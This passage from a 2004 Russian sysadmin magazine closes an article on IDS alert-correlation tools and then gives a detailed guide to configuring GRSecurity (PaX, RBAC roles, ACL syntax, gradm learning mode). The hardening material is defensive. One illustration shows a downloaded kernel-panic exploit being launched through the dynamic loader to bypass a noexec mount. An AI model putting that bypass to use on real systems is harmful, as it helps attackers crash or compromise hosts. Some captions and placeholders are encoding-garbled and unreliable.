система способна к самообучению, работе в режиме реального времени, возможно обнаружение в том числе и комплексных атак, растянутых во времени, двумя способами anomaly и misuse detection, построение затем сценария атаки. Сам проект разделен на подпроекты, в которых разрабатывается один из компонентов (привожу здесь для того, чтобы вы смогли оценить размах и сравнить с имеющимися системами): ! HoBIDS – Host Based IDS – контролирует процессы и логи на отдельном хосте, поставляет данные для дальнейшего анализа. ! HAUNT – Network Based IDS – осуществляет анализ пакетов и обнаружение атак на основе точно установленных правил. ! AMG – Adaptive Model Generation – формирует и при необходимости обновляет модель поведения системы в реальном масштабе времени, используя данные датчика. ! DIDS – Distributed IDS System – координирует действия HoBIDS и HAUNT и, основываясь на полученных сообщениях, принимает решения об атаках и генерирует предупреждающие сообщения. ! MEF – Malicious program E-mail Filter – просмотр e-mail вложений, при нахождении вируса останавливает распространение. В работе использует различные, в том числе и адаптивные алгоритмы.
Ðèñóíîê 1
№9(22), сентябрь 2004
45
безопасность ! DWARF – Data Warehousing for IDS – представляет собой централизованное хранилище данных. ! FWRAP – File System Wrappers – монитор, отслеживающий записи в файловую систему для обнаружения атак. ! ASIDS – Advanced Sensors Project – поставляет данные к DWARF. ! IDSMODELS – коллекция различных алгоритмов для взаимодействия всех компонентов. Компания Promia, Incorporated (http://www.promia.com), которая на сайте http://seclab.cs.ucdavis.edu выступает спонсором проекта «Intrusion Detection Analysis Project», в результате создала инструмент Intelligent Agent Security Manager (IASM). IASM собирает информацию от многочисленных источников IDS, firewall, роутеров, VPN и пр., собирает все в кучу и анализирует. В результате своей работы отсеивает ложные тревоги систем IDS, отфильтровывая несущественные для охраняемой сети события, позволяет быстро оценить сложившуюся ситуацию, способен выявить новые атаки. Следующий инструмент TIAA – A Toolkit for Intrusion Alert Analysis (http://discovery.csc.ncsu.edu/software/correlator), который разработан для того, чтобы облегчить интерактивный анализ, используя предупреждения, сделанные системой обнаружения атак. Пока это еще прототип, демонстрирующий возможности корреляции, основанный на предпосылках и последствиях известных атак (рис. 1). Написан на Java и протестирован с Windows 2000/XP c MS SQL Server, используя JDBC, но, очевидно, его можно подружить и с парочкой GNU/Linux с MySQL. Open Source-проект QuIDScor (http://quidscor.source forge.net) демонстрирует соответствие информации, полученной от IDS SNORT и утилитой оценки уязвимости QualysGuard, триал-версию которой можно взять с http:// www.qualys.com/?page=services/qg. При обнаружении IDS события QuIDScor отыскивает в сообщении QualysGuard релевантное событие и пытается дать ему оценку в виде одной из трех основных категорий: Validated, Unknown и Invalidated и подкатегорий.
Ðèñóíîê 2
Если нужно визуально оценить характер трафика в сети и выявить перекосы, свидетельствующие о возможных проблемах, то в этом случае могут помочь утилиты Security Incident Fusion Tools, к которым относятся NvisionIP (http:// distribution.ncsa.uiuc.edu/nvision/NVisionIPv0_2Install.tar.gz) и VisFlowConnect (http://distribution.ncsa.uiuc.edu/visflow/ index.html). Утилиты Security Incident Fusion Tools, анализи-
46
руя журналы, полученные при помощи других утилит, на выходе выдают графическое представление всех проходящих пакетов, некий снимок сети, при этом различие линий по толщине, цвету и направлению позволяют визуально оценить количественные параметры и таким образом получить «снимки» нормальной сети, в случае же существенных отклонений можно сделать вывод о том, что в сети происходит что-то необычное. Для установки NvisionIP вам понадобится D2K – Data to Knowledge (http://alg.ncsa.uiuc.edu/do/ downloads/d2k), представляющая собой гибкую обучающуюся систему, в которой интегрированы эффективные аналитические данные, методы для прогнозирования и детектирования изменений. Распространяется D2K под Academic Use License и для возможности ее бесплатной закачки вам потребуется адрес электронной почты в домене edu или очень убедительные аргументы при отсутствии такового. Итак, современные IDS первого поколения не лишены недостатков и требуют существенного пересмотра самого процесса обнаружения угроз, математики уже более-менее разобрались с этой проблемой, дело стало за программистами, которые смогут реализовать требуемые алгоритмы на практике. Остается надеяться, что осталось ждать недолго. Успехов.
Литература: 1. Top 10 Requirements for Next-Generation IDS (http://www.intruvert.com) 2. Intrusion Detection Systems B U Y E R ’ S G U I D E (http://www.ipa.go.jp/security/fy11/report/contents/intrusion/ ids-meeting/idsbg.pdf) 3. MINDS – Minnesota Intrusion Detection System (http://www-users.cs.umn.edu/~aleks/MINDS/MINDS.htm) 4. Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection (http://secinf.net/info/ids/idspaper/idspaper.html) 5. Constructing Attack Scenarios through Correlation of Intrusion Alerts (http://discovery.csc.ncsu.edu/pubs/AttackScenarios.ps) 6. Analyzing Intensive Intrusion Alerts Via Correlation (http://discovery.csc.ncsu.edu/pubs/raid-02-ning.pdf) 7. Design and Implementation of A Decentralized Prototype System for Detecting Distributed Attacks (http://discovery.csc.ncsu.edu/pubs/cards.pdf) 8. Adapting Query Optimization Techniques for Efficient Intrusion Alert Correlation (http://discovery.csc.ncsu.edu/pubs/FastCorrelation.pdf) 9. Tools and Techniques for Analyzing Intrusion Alerts (http://discovery.csc.ncsu.edu/~pning/pubs/tissec04.pdf) 10. Building Attack Scenarios through Integration of Complementary Alert Correlation Methods (http://discovery.csc.ncsu.edu/~pning/pubs/NDSS04_ final.pdf) 11. False Positives: A User’s Guide to Making Sense of IDS Alarms (http://www.icsalabs.com) 12. Common Intrusion Detection Framework (http://seclab.cs.ucdavis.edu/cidf) 13. Закляков П. Обнаружение телекоммуникационных атак: теория и практика Snort. – журнал «Системный администратор», №10(11), октябрь 2003 г. – 48-67 с.
безопасность
GRSecurity
КИРИЛЛ ТИХОНОВ GRSecurity – система безопасности для Linux, состоящая из патча к ядру и управляющей программы. На момент написания статьи актуальными были версии: ! grsecurity-2.0-2.4.26.patch ! gradm-2.0.tar.gz
48
GRSecurity предлагает в помощь администратору, желающему обезопасить свои сервера, следующие возможности: ! Защита от атак типа «переполнение буфера» с помощью проекта PaX.
безопасность ! Role-Based Access Control – контроль доступа на осно-
!
ве ролей. Случайные ID процессов. Защищенный просмотр процессов. Change root hardening – защита смены корневого каталога. Защита /tmp.
! ! ! !
Кроме того, GRSecurity ограничивает процессы по: доступу к файловой системе; конфигурированию устройств; сетевому доступу; ресурсам системы.
! ! !
Центральная идея всех RBAC-систем – ограничение пользователей, особенно суперпользователя root. В результате, если злоумышленник получит доступ root, он ничего не сможет сделать с системой. Кстати, с самим получением доступа тоже возникают большие проблемы, поскольку удаленные и локальные эксплоиты больше не сработают. Значит, остаются либо метод прослушивания трафика, который в 99% ничего не даст, либо социальная инженерия. По GRSecurity почти полностью отсутствует документация, за исключением официальной, датированной 1 апреля 2003 года. Вышеуказанная документация рассматривает первую версию GRSecurity, которая в настоящее время официально не поддерживается. А уж русскоязычных описаний продукта на просторах Интернета не было найдено ни одного. В этой статье будет рассмотрена установка и настройка второй версии GRSecurity, имеющей по сравнению с первой несколько принципиальных отличий в лучшую сторону.
Установка Обладателям Gentoo Linux этот раздел можно пропустить, поскольку вся установка сводится к: # emerge grsec-sources # emerge gradm
Необходимо учитывать, что в стандартном ядре Gentoosources уже есть поддержка GRSecurity, но только первой версии. Поэтому надо использовать ядро grsec-sources, в состав которого входит GRSecurity второй версии. В зависимости от дистрибутива, используемого вами в системе, может присутствовать либо порт, как в Gentoo, либо rpm- или dep-пакет. Желательно использовать их. Однако если пакетов для вашего дистрибутива нет – устанавливаем из исходников. Приступим к установке gradm: # cd gradm-2.0 # make # make install
Накладываем патчи на исходные тексты ядра: # cd linux-2.4.26 # patch –Np1 –i ../grsecurity-2.0-2.4.26.patch # make menuconfig
В меню появился новый пункт – grsecurity. После его активации надо решить, какой уровень защиты будет использоваться:
№9(22), сентябрь 2004
! ! ! !
low medium hard custom
Выбираем уровень custom, после его активации станут доступными несколько подменю:
Ðèñóíîê 1
PaX Control (Настройка PaX) В этом разделе указываем методы пометки бинарных файлов для использования PaX. ! Support soft mode OFF – эта опция задает работу PaX в «мягком» (soft) режиме. В этом режиме опции PaX не прописаны по умолчанию и относятся только к явно отмеченным выполняемым файлам. Также надо определить поддержку PT_PAX_FLAGS, поскольку это единственный метод отметки выполняемых файлов в мягком режиме работы. Мягкий режим можно активировать с помощью команды загрузчику «pax_softmode=1». Кроме того, можно управлять различными особенностями PaX через /proc/sys/kernel/pax. ! Use legacy ELF header marking ON – позволяет управлять опциями PaX с помощью утилиты chpax, доступной по адресу http://pax.grsecurity.net/. Флаги управления будут читаться из зарезервированной части заголовка ELF-файла. Эта маркировка имеет многочисленные недостатки – нет поддержки мягкого режима, инструментарий не знает о нестандартном использовании заголовка ELF-файла. ! Use ELF program header marking ON – дает возможность управлять настройками PaX с помощью утилиты paxctl. Флаги управления будут читаться из определенной PaX части заголовка ELF-файла. Этот способ маркировки поддерживает оба режима работы, к тому же существует патч для binutils, позволяющий инструментарию работать с этими заголовками. ! MAC system integration NONE – эта опция нужна только для разработчиков.
Address Space Protection (Защита адресного пространства) В данном разделе надо сконфигурировать PaX как часть GRSecurity. PaX – это сторонний проект, включенный в GRSecurity, поскольку является важным компонентом философии безопасности. PaX предотвращает переполнение буфера и обеспечивает случайное размещение процесса в памяти, что является эффективной защитой от атак, основанных на срыве стека.
49
безопасность ! Enforce Non-executable pages ON – некоторые архи-
!
!
!
!
!
! ! !
50
тектуры не защищают страницы памяти, но даже если и защищают – сам Linux не обеспечивает такую защиту. Это означает, что если страница доступна для чтения, то она также доступна и для выполнения кода. Существует известная технология взлома, когда атакующий может подставить свой код в память атакуемой программы, и этот код будет выполнен. Если атакуемая программа была запущена с более высокими привилегиями, то злоумышленник может поднять свои привилегии до уровня привилегий пораженной программы. Включение этой опции позволит манипулировать разными опциями, предотвращающими такие взломы. Paging based non-executable page ON – эта функция основана на использовании особенности CPU. На i386 это имеет разное воздействие на приложения в зависимости от способа использования памяти. Segmentation based non-executable page ON – включение этой опции позволит использовать особенности сегментации CPU, однако приложения будут ограничены адресным пространством в 1.5 Гб вместо 3 Гб. Emulate trampolines OFF – некоторые программы и библиотеки по той или иной причине пытаются выполнить специальные небольшие куски кода, находящиеся внутри невыполнимой страницы памяти. Наиболее известные примеры – сообщения о коде возврата обработчика, генерированные непосредственно ядром. Если вы указали опции CONFIG_GRKERNSEC_PAX_PAGEEXEC или CONFIG_GRKERNSEC_PAX_SEGMEXEC, то такие программы не будут работать с вашим ядром. Restrict mprotect() ON – использование этой опции запретит программам: ! изменение состояния страниц памяти, созданных только для чтения (запрет выполнения); ! давать доступ на запись страницам с правами чтения и выполнения; ! создание выполняемых страниц анонимной памяти. Address Space Layout Randomization ON – при включении этой опции память будет выделяться программе блоками со случайным смещением в адресном пространстве, и предсказать, где будет находится буфер ввода программы, нельзя, а это в свою очередь приводит к тому, что атаки на переполнение буфера не будут работать. Randomize kernel stack base ON – эта опция заставит ядро использовать случайный ядерный стек для каждой задачи. Randomize user stack base ON – заставляем ядро использовать случайный пользовательский стек для каждой задачи. Randomize mmap() base ON – приказываем использовать случайный базовый адрес запросов mmap(). Системный вызов mmap() служит для передачи обширных массивов данных между процессами и позволяет обращаться к участку файла как к оперативной памяти. Данные, которые процесс читает из указанной области памяти, по мере надобности считываются из файла, а те, которые он туда пишет, когда-нибудь попадут на диск.
! Randomize ET_EXEC base ON. ! Deny writing to /dev/kmem, /dev/mem and /dev/port ON – запрет на запись в /dev/kmem, /dev/mem и в /dev/port с помощью mmap() или другими способами изменять параметры ядра. ! Disable privileged I/O OFF – запрет на использование системных вызовов ioperm и iopl, поскольку они могут применяться для модификации ядра. ! Remove addresses from /proc/<pid>/[maps|stat] ON – запрет на выдачу информации из /proc/<pid>/[maps|stat]. ! Hide kernel symbols OFF – включение этой опции позволит читать информацию о загруженных модулях только пользователям с установленной «способностью» CAP_SYS_MODULES.
Role Based Access Control Options (Настройка RBAC) В данном разделе необходимо указать настройки системы RBAC, включая количество неудачных попыток ввода пароля и длину временного интервала, в течение которого аутентификация будет заблокирована, когда количество неудачных попыток превысит установленную величину. ! Hide kernel processes ON – эта опция добавит дополнительный ACL для ядра, который скроет все ядерные процессы. ! Maximum tries before password lockout 3 – максимальное число попыток ввода пароля. ! Time to wait after max password tries, in seconds 30 – время в секундах, на которое будет заблокирована система после последней неудачной попытки ввода пароля.
Filesystem protection (Защита файловой системы) В этом разделе необходимо определить ограничения файловой системы, включая ограничение /proc, которое позволяет пользователю просматривать только свои процессы, ограничение /tmp и ограничение chroot, что существенно повысит безопасность программ, работающих в chrootокружении. ! Proc restriction ON – ограничение файловой системы /proc. Возможно запретить пользователям видеть все процессы, либо разрешить только просмотр своих. ! Restrict to user only OFF – при включенной опции непривилегированные пользователи смогут видеть только собственные процессы. ! Allow special group ON – разрешить специальную группу, члены которой смогут просматривать все процессы, сетевую информацию, информацию ядра и модулей. ! GID for special group 1001. ! Additional restrictions ON – дополнительные ограничения на /proc, не позволяющие обычным пользователям читать информацию о CPU и о системных устройствах. ! Linking restrictions ON – защита мягких (soft) и жестких (hard) ссылок. ! FIFO restrictions ON – пользователи не смогут писать в не принадлежащий им FIFO в доступной всем на запись директории (например, /tmp), за исключением случая, когда владелец FIFO является владельцем директории.
безопасность ! Chroot jail restrictions ON – при включении этой опции
! ! ! ! ! ! ! ! ! ! ! ! !
станет доступна группа опций, реализующих защиту chroot. Все последующие опции относятся к процессам внутри chroot. Deny mounts ON – процессы не смогут монтировать файловые системы. Deny double-chroots ON – процессы не смогут сделать двойной chroot за пределы первого. Deny pivot_root in chroot ON – запрет на использование функции pivot_root(). Эта функция способна разрешить выход процессу за пределы chroot. Enforce chdir(“/”) on all chroots ON – корневой каталог chroot будет установлен в качестве текущей рабочей директории для всех chroot-программ. Deny (f)chroot +s ON – процесс не сможет выполнить chmod и fchmod для файлов с целью установить suid или sgid бит. Deny fchdir out of chroot ON – запрет на использование известной технологии прерывания chroot с помощью fchdir. Deny mknod ON – запрет на использование mknod. Deny shmat() out of chroot ON – запрет на присоединение к сегменту памяти процессов, запущенных вне chroot. Deny access to abstract AF_UNIX sockets out of chroot ON – процессы внутри chroot не способны подсоединяться к сокетам вне chroot. Protect outside processes ON – запрет на посыл спецсигналов процессам вне chroot. Restrict priority changes ON – запрет на повышение привилегий процессов. Deny sysctl writes in chroot ON – запрет на использование sysctl. Capability restrictions within chroot ON – всем процессам, принадлежащим пользователю root, запрещается работа с модулями, сырым вводом-выводом, системными и сетевыми задачами и т. д.
! Fork failure logging ON – протоколирование всех попыток fork().
! Time change logging ON – протоколирование попыток изменения системного времени.
! /proc/<pid>/ipaddr support OFF – к информации о процессе добавится IP-адрес пользователя, его запустившего.
! ELF text relocations logging OFF – только для разработчиков.
Executable Protections (Защита бинарных файлов) Здесь надо указать опции, относящиеся к созданию процессов и доступу бинарных файлов к системе. ! Enforce RLIMIT_NPROC on execs ON – для пользователей с ограничениями на количество процессов значения этих ограничений будут проверяться в процессе вызова execve(). Без этой опции система будет проверять значения ограничений только при вызове fork(). ! Dmesg(8) restriction ON – запрет на пользование dmesg пользователям без прав root. ! Randomized PIDs ON – генерирование PID случайным образом. ! Trusted path execution OFF – включение этой опции позволяет определить недоверенных пользователей. Эти пользователи не будут способны запускать файлы, находящиеся вне принадлежащей root директории, но доступной на запись только root. Вот простой пример. Возьмем Linux-машину, в которой есть пользователь admin. Файловая система для этого пользователя смонтирована с опцией noexec. Пользователь скачивает эксплоит «local kernel panic». Если он запустит этот эксплоит (/lib/...so ~/exploit), то ядро упадет. Однако если включена опция TPE, то ядро выдаст segmentation fault, машина будет продолжать нормально работать, а в логах появится такая запись: denied untrusted exec of “~/exploit”: “admin”’s uid...
Kernel Auditing (Аудит ядра) Тут мы должны определить значения различных опций аудита, которые отвечают за вывод полезной для администратора информации. ! Single group for auditing OFF – эта опция позволяет выводить информацию о конкретном пользователе или группе. Удобно в случае слежения за конкретным пользователем или группой. ! Exec logging OFF – протоколирование запуска файлов. ! Resource logging ON – протоколирование использования системных ресурсов. ! Log execs within chroot OFF – все запуски файлов внутри chroot будут протоколироваться с помощью syslog. ! Chdir logging OFF – протоколирование всех вызовов chdir() (смена каталога). ! (Un)Mount logging OFF – протоколирование монтирования и размонтирования файловых систем. ! IPC logging OFF – протоколирование создания и удаления очереди сообщений, семафоров, общей памяти. ! Signal logging ON – протоколирование важных сигналов (SIGSEGV), поскольку они являются признаком попыток взлома.
№9(22), сентябрь 2004
Network Protection (Сетевая защита) Здесь надо указать опции, отвечающие за генерацию случайных чисел, используемых при работе с TCP/IP-стеком и защиту сокетов. ! Lager entropy pools ON – увеличение в два раза пула энтропии, используемой для многих функций Linux и GRSecurity. ! Truly random TCP ISN selection ON – использование случайных TCP ISN, взято из OpenBSD. ! Randomized IP IDs ON – случайные id пакетов. ! Randomized TCP source ports ON – использование случайного порта источника. ! Randomized RPC XIDs ON – случайный XID в RCP-запросе. ! Socket restrictions OFF – ограничение сокетов.
Sysctl support В этом разделе можно включить поддержку sysctl для GRSecurity. Это позволит изменять конфигурацию GRSecurity во время выполнения без перекомпиляции ядра. Поскольку по умолчанию при запуске все опции GRSecurity
51
безопасность будут отключены, потребуются изменения инициализирующего скрипта, в который придется прописывать включение всех необходимых опций, и делать его недоступным для чтения обычным пользователям. Поэтому включение поддержки sysctl не рекомендуется.
Logging options Определяем параметры протоколирования. ! Seconds in between log messages (minimum) 10 – время между регистрацией сообщений. ! Number of messages in a burst (maximum) 4 – максимальное число сообщений, регистрируемое за время, определенное предыдущей опцией. Компилируем ядро, перегружаемся.
Конфигурирование Подготовительный этап закончен, теперь разберем конфигурацию GRSecurity. Центральным понятием является Role (роль), которая может быть нескольких типов: ! A – административная роль; ! N – не требует авторизации, для доступа к ней применяется команда gradm –n <rolename>; ! s – специальная роль; ! u – пользовательская роль; ! g – групповая роль; ! G – роль может использовать gradm для аутентификации в ядре, ACL для gradm добавляется автоматически; ! T – включает TPE для роли; ! l – режим обучения роли. Как вы могли заметить, роль может быть 3 типов – пользовательская, групповая и специальная. Пользовательская роль может быть описана для любого системного пользователя, соответственно групповая – для любой системной группы. Например, если bind запускается из-под пользователя named, то для его корректной работы необходимо описать пользовательскую роль: role named u
Если в системе присутствуют системные почтовые пользователи, состоящие в группе users, то для корректной работы почты необходимо описать групповую роль: role users g
Пользовательская и групповая роли не требуют ввода пароля, достаточно, чтобы процесс был запущен от имени конкретного пользователя или группы. Специальная роль – это роль, предназначенная для выполнения каких-либо работ. Для доступа к ней необходимо ввести пароль. После успешной авторизации права будут повышены до прав, определенных этой ролью. Роль может быть ограничена списком IP-адресов: role_allow_ip IP/netmask role_allow_ip 192.168.1.0/24
52
Этих директив в пределах роли может быть сколько угодно. При входе пользователя в систему используется следующая последовательность выбора и применения роли: пользовательская → групповая → default. Соответственно, если не находится пользовательская роль, то применяется групповая. Если и её нет, то применится роль по умолчанию (default). Директива role_ transitions служит для определения специальных ролей, к которым можно получить доступ из данной роли: role_transitions <special role 1> <special role 2> ↵ <special role 3>
Любая программа, входящая в роль, называется субъектом (subject). Описания субъектов называются ACL – Access Control List. Субъекты бывают обычными: subject /bin/su { ...... }
и вложенными (nested): subject /bin/su:/bin/bash:/bin/cat { .......... }
Вложенный субъект используется в том случае, когда необходимо указать последовательность запуска. В данном случае привилегии будут вручены программе /bin/cat, если она будет запущена из /bin/bash, которая в свою очередь будет запущена из /bin/su. Вложенные субъекты поддерживают наследование, т.е. вложенный субъект /bin/su:/bin/bash:/bin/cat будет наследовать правила /bin/su:/bin/bash и /bin/su. Они полезны при написании ACL для программ типа sarg – анализатора логов прокси-сервера squid. Дело в том, что sarg при создании отчета использует стандартные утилиты – sort, grep, mkdir, cp, rm и т. д. Соответственно sarg вызывает оболочку (shell, в моем случае – bash), которая в свою очередь вызывает эти утилиты. Чтобы вызов был успешным, необходимо в ACL для bash прописать разрешение на выполнение этих утилит. Но в таком случае их смогут использовать все кому не лень, что сводит на нет все усилия по обеспечению безопасности. Для решения этой проблемы и применяются вложенные субъекты: subject /usr/bin/sarg:/bin/bash { / /bin /bin/date /bin/mkdir /bin/rm /dev/tty /dev/null ............................... }
r h x x x rw rw
Запуск утилит будет возможен только в том случае, если инициатором будет sarg. Любая программа, входящая в субъект (subject), называется объектом (object). При описании субъектов и объектов необходимо использовать абсолютные пути:
безопасность subject /bin/su o {
}
/etc/passwd r /etc/shadow r -CAP_ALL
Субъекту (subject) доступны следующие режимы:
! h – процесс скрыт и может быть прочитан только про-
! M – аудит успешного создания и модификации setuid/ ! ! ! ! !
setgid файлов и каталогов; с – позволить создание файлов и каталогов; С – аудит успешного создания файлов и каталогов; d – разрешить удаление файлов и каталогов; D – аудит успешного удаления файлов и каталогов; p – сбросить все ptrace.
цессом с флагом v;
! v – процесс может видеть скрытые процессы; ! p – процесс защищен, он может быть завершен только ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! ! !
процессом с флагом k или процессом, принадлежащим этому же субъекту; k – процесс может завершать защищенные процессы; l – режим обучения для данного процесса; d – защитить /proc/<pid>/fd и /proc/<pid>/mem для процессов в этом субъекте; b – включить process accounting для процессов в этом субъекте; P – отключить PAGEEXEC для этого субъекта (PaX); S – отключить SEGMEXEC для этого субъекта (PaX); M – отключить MPROTECT для этого субъекта (PaX); R – отключить RANDMMAP для этого субъекта (PaX); G – включить EMUTRAMP для этого субъекта (PaX); X – включить RANDEXEC для этого субъекта (PaX); O – переписать расширенные restriction mmap() и ptrace() для этого субъекта; A – защитить общую память для этого субъекта, только входящие в этот субъект процессы могут получить доступ к памяти этого субъекта; K – если процесс создает опасную ситуацию, завершить процесс; C – если процесс создает опасную ситуацию, завершить этот процесс и все процессы, запущенные с того же IPадреса; T – процесс не сможет выполнить никакой троянский код; o – отменяет ACL-наследование. Объект поддерживает следующие режимы: r – объект может быть открыт для чтения; w – объект может быть открыт для записи; x – объект может быть выполнен (executed); a – объект может быть открыт для добавления; h – объект скрыт (к нему нельзя получить доступ); s – при запрете доступа к этому объекту в логи не будет идти информация; i – применяется только к бинарным файлам. Когда объект выполняется, он наследует ACL субъекта, в который входит; l – режим обучения, поддерживается только для бинарных файлов; R – аудит успешного чтения объекта; W – аудит успешной записи в объект; X – аудит успешного исполнения объекта; A – аудит успешного добавления в объект; F – аудит успешного поиска объекта; I – аудит успешного наследования объекта; m – разрешить создавать и модифицировать setuid/ setgid файлы и каталоги;
№9(22), сентябрь 2004
Помимо доступа к файлам и каталогам процессу иногда необходимы специальные права на смену владельца, конфигурирование сетевых интерфейсов и т. д. Эти права реализованы в виде так называемых способностей или свойств (capability). В ACL они предваряются знаками «+» и «-», соответственно знак «+» разрешает использование данной «способности», знак «-» запрещает. Ниже приведены несколько наиболее интересных и часто используемых «способностей», полный список можно найти в официальной документации. ! CAP_ALL – используется как заглушка для запрета или разрешения всех capability. ! CAP_CHOWN – в системе с установленной опцией [_POSIX_CHOWN_RESTRICTED_] эта «способность» разрешает процессу изменять владельца. ! CAP_SETGID – разрешает выполнение функций setgid, setgoups. ! CAP_SETUID – разрешает выполнение функции setuid. ! CAP_NET_BIND_SERVICE – разрешает привязку на TCP/IP-сокет ниже 1024, привязку к ATM VCIs ниже 32. ! CAP_NET_ADMIN – разрешает: ! конфигурирование интерфейсов; ! администрирование межсетевого экрана, трансляцию адресов; ! установку опций отладки для сокетов; ! изменение таблиц маршрутизации; ! привязку к любому адресу для прозрачного проксирования; ! установку TOS (type of service); ! установку неразборчивого (promiscuous) режима для сетевой карты; ! очистку статистики драйвера; ! мультивещание; ! чтение/запись в определенные регистры устройства. ! CAP_SYS_ADMIN – разрешает: ! администрирование устройства random; ! конфигурирование дисковых квот; ! конфигурирование syslog ядра; ! установку доменного имени (domainname); ! установку имени хоста (hostname); ! вызов bdflush(); ! монтирование и размонтирование, установку нового smb-подключения; ! блокирование/разблокирование общедоступной памяти (shared memory); ! включать/выключать подкачку (swap); ! установку геометрии для флоппи-дисковода; ! включение/выключение режима DMA; ! настройку IDE-драйверов; ! доступ к устройству nvram;
53
безопасность ! администрирование apm_bios, последовательных и bttv (TV) устройств; ! установку последовательных портов; ! включение/отключение SCSI-контроллеров, посылку произвольных SCSI-команд.
! RES_NOFILE – максимальное число открытых файлов. ! RES_MEMLOCK – максимальный размер выделенной памяти в байтах.
! RES_AS – ограничение адресного пространства в байтах.
! RES_LOCKS – максимальное число блокировок файла. Процессу (субъекту) доступны два сетевых параметра – connect и bind. Параметр connect отвечает за доступ процесса в сеть, а параметр bind – за привязку процесса к сетевому интерфейсу: connect <IP-àäðåñ>/<ìàñêà>:<íà÷àëüíûé ïîðò>-<êîíå÷íûé ïîðò> ↵ <òèï> <ïðîòîêîë> bind <IP-àäðåñ>/<ìàñêà>:<íà÷àëüíûé ïîðò>-<êîíå÷íûé ïîðò> ↵ <òèï> <ïðîòîêîë>
Если конечный порт не определен, то начальный порт является и начальным, и конечным портом. Если не определены оба порта, то в качестве начального порта используется 0, а в качестве конечного порта – 65535. Тип может принимать значения: sock, dgram, raw_sock any_sock, stream. Протокол – любой из перечисленных в /etc/protocols, а также raw_proto и any_proto. Если процесс не должен иметь возможности подключения или привязки, то для этого существует ключевое слово disabled: subject /bin/su o { /etc/passwd r /etc/shadow r -CAP_ALL connect disabled bind disabled }
а в этом примере мы разрешаем процессу (субъекту) /usr/ sbin/apache подключение к любому IP-адресу на 53 порт (DNS) с помощью udp-датаграмм и привязку на все интерфейсы к 80 tcp-порту: subject /usr/sbin/apache o { ........................................ connect 0.0.0.0/0:53 dgram udp bind 0.0.0.0/0:80 stream tcp }
Одна из особенностей GRSecurity – основанная на процессах система ограничения ресурсов. С ее помощью можно ограничивать процесс (субъект) в количестве памяти, времени центрального процессора, количестве файлов, которые могут быть открыты, и т. д. Для записи ограничений применяется следующий синтаксис: <resource name> <soft limit> <hard limit>
Список доступных ограничений:
! RES_CPU – время центрального процессора в миллисекундах.
! RES_FSIZE – максимальный размер файла в байтах. ! RES_DATA – максимальный размер секции данных в ! ! ! !
54
байтах. RES_STACK – максимальный размер стека в байтах. RES_CORE – максимальный размер core-файла в байтах. RES_RSS – максимальный размер исполняемой части. RES_NPROC – максимальное число процессов.
В качестве примера рассмотрим RES_NOFILE 3 3. Эта запись позволит процессу открыть максимум три файла (все процессы имеют как минимум три открытых файловых дескриптора – stdin, stdout и stderr). Ограничения бывают мягкими (soft limit) и жесткими (hard limit). Разница между ними состоит в том, что мягкий предел назначается при выполнении процесса. Жесткий предел – максимальная точка, до которой процесс может поднимать предел с помощью setrlimit, если для процесса не установлена CAP_SYS_RESOURCE. В случае ограничения времени использования центрального процессора с помощью RES_CPU, когда мягкий предел превышен, процессу непрерывно подается специальный сигнал. Когда превышен жесткий предел, процесс завершается. Это единственное ограничение, использующее время в качестве аргумента, причем по умолчанию в миллисекундах. Однако время можно задать и в других единицах: ! 100s – 100 секунд ! 25m – 25 минут ! 65h – 65 часов ! 2d – 2 дня В остальных ограничениях в качестве аргумента по умолчанию используется байт, но его можно также задать в других единицах: ! 2G – 2 Гб ! 25M – 25 Мб ! 100K – 100 Кб
Начало работы и режим обучения Для управления GRSecurity служит программа gradm: # gradm gradm 2.0 grsecurity administration program Usage: gradm [option] ... Examples: gradm -P gradm -F -L /etc/grsec/learning.logs -O /etc/grsec/acl Options: -E, --enable Включить grsecurity RBAC -D, --disable Отключить grsecurity RBAC -S, --status Проверить статус системы RBAC -F, --fulllearn Включить режим полного обучения -P [rolename], --passwd Задать пароль для администратора RBAC or a special role -R, --reload Перезагрузить систему RBAC (только из администраторского режима) -L <filename>, --learn Определить путь для логов режима обучения -O <filename>, --output Определить файл, куда будут сгенерирован ACL в режиме обучения -M <filename|uid>, --modsegv Удалить запрет на файл или UID -a <rolename> , --auth Аутентифицироваться в специальную роль, если она требует аутентификации -u, --unauth Удалить себя из текущей специальной роли -n <rolename> , --noauth Аутентифицироваться в специальную роль, если она не требует аутентификации -h, --help Вывести эту страницу помощи -v, --version Показать версию
безопасность Для активации GRSecurity надо задать пароли доступа. Если этого не сделать, GRSecurity выдаст сообщение об ошибке: # gradm –E Error opening: /etc/grsec/pw open: no such file or directory
Задаем главный пароль, служащий для отключения и перезагрузки системы GRSecurity: # gradm –P Setting up grsecurity RBAC password Password: Re-enter password:
Во второй версии GRSecurity появился режим полного обучения системы. Для его активации необходимо выполнить: # gradm –F –L /var/log/grsec
Все попытки любых программ получить доступ к какимлибо объектам будут фиксироваться в файле /var/log/grsec. Через некоторое время отключаем GRSecurity: # gradm –D Password:
и с помощью следующей команды из протокола получаем файл /etc/grsec/acl: # gradm –F –L /var/log/grsec –O /etc/grsec/acl
примерно такой структуры: role default subject / { / h -CAP_ALL connect disabled bind disabled } role root subject / / /bin ………………. }
uG { h h
………………..
Этот ACL будет мало пригоден для работы, его придется долго настраивать. Это, с одной стороны, связано с несовершенством режима обучения, а с другой стороны – с тем, что за время обучения какие-либо программы частично не выполняли свои функции. Например, за время обучения DNS-сервер ни разу не запустил процесс передачи зоны, в связи с чем впоследствии возникнут ошибки доступа к файлам зон, которые придется исправлять вручную. Здесь напрашивается вывод – почему бы не оставить режим обучения на несколько дней, тогда можно быть уверенным, что все функции выполнились хотя бы один раз. Однако такой подход не верен. Дело в том, что помимо выполнения нужных функций (той же передачи зоны) могут быть выполнены и ненужные. Например, администратор зашел в консоль и произвел какие-либо нестандартные действия, для которых впоследствии будет применяться специальная роль. В
№9(22), сентябрь 2004
таком случае для этих действий тоже будет сформирован ACL, что будет дырой в системе безопасности. Вообще чем меньше написано различных ACL – тем лучше. Ручная настройка ACL происходит следующим образом. ! Активируем GRSecurity: # gradm –E
! Ждем некоторое время (для начала – несколько секунд). ! Отключаем GRSecurity: # gradm –D
